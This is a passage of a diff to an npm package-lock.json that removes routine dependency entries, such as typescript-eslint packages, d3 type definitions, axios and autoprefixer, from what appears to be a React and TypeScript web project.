"sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.0.0" - } - }, - "node_modules/@types/babel__template": { - "version": "7.4.4", - "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.1.0", - "@babel/types": "^7.0.0" - } - }, - "node_modules/@types/babel__traverse": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.28.2" - } - }, - "node_modules/@types/d3-array": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", - "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", - "license": "MIT" - }, - "node_modules/@types/d3-color": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", - "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", - "license": "MIT" - }, - "node_modules/@types/d3-ease": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", - "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", - "license": "MIT" - }, - "node_modules/@types/d3-interpolate": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", - "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", - "license": "MIT", - "dependencies": { - "@types/d3-color": "*" - } - }, - "node_modules/@types/d3-path": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", - "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", - "license": "MIT" - }, - "node_modules/@types/d3-scale": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", - "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", - "license": "MIT", - "dependencies": { - "@types/d3-time": "*" - } - }, - "node_modules/@types/d3-shape": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", - "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", - "license": "MIT", - "dependencies": { - "@types/d3-path": "*" - } - }, - "node_modules/@types/d3-time": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", - "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", - "license": "MIT" - }, - "node_modules/@types/d3-timer": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", - "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/json-schema": { - "version": "7.0.15", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "24.10.4", - "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.4.tgz", - "integrity": "sha512-vnDVpYPMzs4wunl27jHrfmwojOGKya0xyM3sH+UE5iv5uPS6vX7UIoh6m+vQc5LGBq52HBKPIn/zcSZVzeDEZg==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "undici-types": "~7.16.0" - } - }, - "node_modules/@types/react": { - "version": "19.2.7", - "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz", - "integrity": "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg==", - "devOptional": true, - "license": "MIT", - "peer": true, - "dependencies": { - "csstype": "^3.2.2" - } - }, - "node_modules/@types/react-dom": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", - "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "^19.2.0" - } - }, - "node_modules/@types/use-sync-external-store": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz", - "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==", - "license": "MIT" - }, - "node_modules/@typescript-eslint/eslint-plugin": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.49.0.tgz", - "integrity": "sha512-JXij0vzIaTtCwu6SxTh8qBc66kmf1xs7pI4UOiMDFVct6q86G0Zs7KRcEoJgY3Cav3x5Tq0MF5jwgpgLqgKG3A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/regexpp": "^4.10.0", - "@typescript-eslint/scope-manager": "8.49.0", - "@typescript-eslint/type-utils": "8.49.0", - "@typescript-eslint/utils": "8.49.0", - "@typescript-eslint/visitor-keys": "8.49.0", - "ignore": "^7.0.0", - "natural-compare": "^1.4.0", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "@typescript-eslint/parser": "^8.49.0", - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/@typescript-eslint/parser": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.49.0.tgz", - "integrity": "sha512-N9lBGA9o9aqb1hVMc9hzySbhKibHmB+N3IpoShyV6HyQYRGIhlrO5rQgttypi+yEeKsKI4idxC8Jw6gXKD4THA==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@typescript-eslint/scope-manager": "8.49.0", - "@typescript-eslint/types": "8.49.0", - "@typescript-eslint/typescript-estree": "8.49.0", - "@typescript-eslint/visitor-keys": "8.49.0", - "debug": "^4.3.4" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.49.0.tgz", - "integrity": "sha512-/wJN0/DKkmRUMXjZUXYZpD1NEQzQAAn9QWfGwo+Ai8gnzqH7tvqS7oNVdTjKqOcPyVIdZdyCMoqN66Ia789e7g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.49.0", - "@typescript-eslint/types": "^8.49.0", - "debug": "^4.3.4" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/scope-manager": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.49.0.tgz", - "integrity": "sha512-npgS3zi+/30KSOkXNs0LQXtsg9ekZ8OISAOLGWA/ZOEn0ZH74Ginfl7foziV8DT+D98WfQ5Kopwqb/PZOaIJGg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.49.0", - "@typescript-eslint/visitor-keys": "8.49.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.49.0.tgz", - "integrity": "sha512-8prixNi1/6nawsRYxet4YOhnbW+W9FK/bQPxsGB1D3ZrDzbJ5FXw5XmzxZv82X3B+ZccuSxo/X8q9nQ+mFecWA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/type-utils": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.49.0.tgz", - "integrity": "sha512-KTExJfQ+svY8I10P4HdxKzWsvtVnsuCifU5MvXrRwoP2KOlNZ9ADNEWWsQTJgMxLzS5VLQKDjkCT/YzgsnqmZg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.49.0", - "@typescript-eslint/typescript-estree": "8.49.0", - "@typescript-eslint/utils": "8.49.0", - "debug": "^4.3.4", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/types": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.49.0.tgz", - "integrity": "sha512-e9k/fneezorUo6WShlQpMxXh8/8wfyc+biu6tnAqA81oWrEic0k21RHzP9uqqpyBBeBKu4T+Bsjy9/b8u7obXQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.49.0.tgz", - "integrity": "sha512-jrLdRuAbPfPIdYNppHJ/D0wN+wwNfJ32YTAm10eJVsFmrVpXQnDWBn8niCSMlWjvml8jsce5E/O+86IQtTbJWA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.49.0", - "@typescript-eslint/tsconfig-utils": "8.49.0", - "@typescript-eslint/types": "8.49.0", - "@typescript-eslint/visitor-keys": "8.49.0", - "debug": "^4.3.4", - "minimatch": "^9.0.4", - "semver": "^7.6.0", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { - "version": "7.7.3", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", - "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/@typescript-eslint/utils": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.49.0.tgz", - "integrity": "sha512-N3W7rJw7Rw+z1tRsHZbK395TWSYvufBXumYtEGzypgMUthlg0/hmCImeA8hgO2d2G4pd7ftpxxul2J8OdtdaFA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.7.0", - "@typescript-eslint/scope-manager": "8.49.0", - "@typescript-eslint/types": "8.49.0", - "@typescript-eslint/typescript-estree": "8.49.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.49.0.tgz", - "integrity": "sha512-LlKaciDe3GmZFphXIc79THF/YYBugZ7FS1pO581E/edlVVNbZKDy93evqmrfQ9/Y4uN0vVhX4iuchq26mK/iiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.49.0", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@vitejs/plugin-react": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.2.tgz", - "integrity": "sha512-EcA07pHJouywpzsoTUqNh5NwGayl2PPVEJKUSinGGSxFGYn+shYbqMGBg6FXDqgXum9Ou/ecb+411ssw8HImJQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.28.5", - "@babel/plugin-transform-react-jsx-self": "^7.27.1", - "@babel/plugin-transform-react-jsx-source": "^7.27.1", - "@rolldown/pluginutils": "1.0.0-beta.53", - "@types/babel__core": "^7.20.5", - "react-refresh": "^0.18.0" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "peerDependencies": { - "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" - } - }, - "node_modules/acorn": { - "version": "8.15.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", - "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", - "dev": true, - "license": "MIT", - "peer": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true, - "license": "Python-2.0" - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "license": "MIT" - }, - "node_modules/autoprefixer": { - "version": "10.4.22", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.22.tgz", - "integrity": "sha512-ARe0v/t9gO28Bznv6GgqARmVqcWOV3mfgUPn9becPHMiD3o9BwlRgaeccZnwTpZ7Zwqrm+c1sUSsMxIzQzc8Xg==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/autoprefixer" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "browserslist": "^4.27.0", - "caniuse-lite": "^1.0.30001754", - "fraction.js": "^5.3.4", - "normalize-range": "^0.1.2", - "picocolors": "^1.1.1", - "postcss-value-parser": "^4.2.0" - }, - "bin": { - "autoprefixer": "bin/autoprefixer" - }, - "engines": { - "node": "^10 || ^12 || >=14" - }, - "peerDependencies": { - "postcss": "^8.1.0" - } - }, - "node_modules/axios": { - "version": "1.13.2", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz", - "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==", - "license": "MIT", - "dependencies": { - "follow-redirects": "^1.15.6", - "form-data": "^4.0.4", - "proxy-from-env": "^1.1.0" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/baseline-browser-mapping": { - "version": "2.9.7", - "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.7.tgz", - "integrity": "sha512-k9xFKplee6KIio3IDbwj+uaCLpqzOwakOgmqzPezM0sFJlFKcg30vk2wOiAJtkTSfx0SSQDSe8q+mWA/fSH5Zg==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "baseline-browser-mapping": "dist/cli.js" - } - }, - "node_modules/brace-expansion": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/browserslist": { - "version": "4.28.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", - "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "peer": true, - "dependencies": { - "baseline-browser-mapping": "^2.9.0", - "caniuse-lite": "^1.0.30001759", - "electron-to-chromium": "^1.5.263", - "node-releases": "^2.0.27", - "update-browserslist-db": "^1.2.0" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - } - }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001760", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001760.tgz", - "integrity": "sha512-7AAMPcueWELt1p3mi13HR/LHH0TJLT11cnwDJEs3xA4+CK/PLKeO9Kl1oru24htkyUKtkGCvAx4ohB0Ttry8Dw==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "CC-BY-4.0" - }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/clsx": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", - "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "license": "MIT" - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true, - "license": "MIT" - }, - "node_modules/convert-source-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cookie": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/d3-array": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", - 